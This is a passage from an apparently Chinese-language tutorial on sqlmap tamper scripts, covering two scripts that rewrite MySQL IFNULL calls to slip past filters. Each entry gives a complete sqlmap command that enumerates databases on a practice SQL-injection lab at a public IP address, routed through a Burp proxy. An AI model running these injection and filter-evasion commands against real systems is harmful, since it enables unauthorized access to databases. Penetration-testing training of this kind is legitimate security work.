20. ifnull2casewhenisnull.py脚本
使用CASE WHEN ISNULL(1) THEN(2) ELSE(1) END 替换 IFNULL(1,2) 适用于mysql数据库
实战演示：
测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="ifnull2casewhenisnull.py" --proxy="http://127.0.0.1:8080" -batch
发现是能够注入的，看看burp抓包的情况
看了抓包的情况并没有体现ifnull2casewhenisnull.py的效果
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
21. ifnull2ifisnull.py脚本
使用IF(ISNULL(A),B,A) 替换IFNULL(A,B)
实战演示：
测试地址：python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="ifnull2ifisnull.py" --proxy="http://127.0.0.1:8080" -batch
SQL在注入是没问题的，看看burp抓包情况
抓包情况就目前的测试样例是看不出效果，但是大概意思前面已经阐述清楚了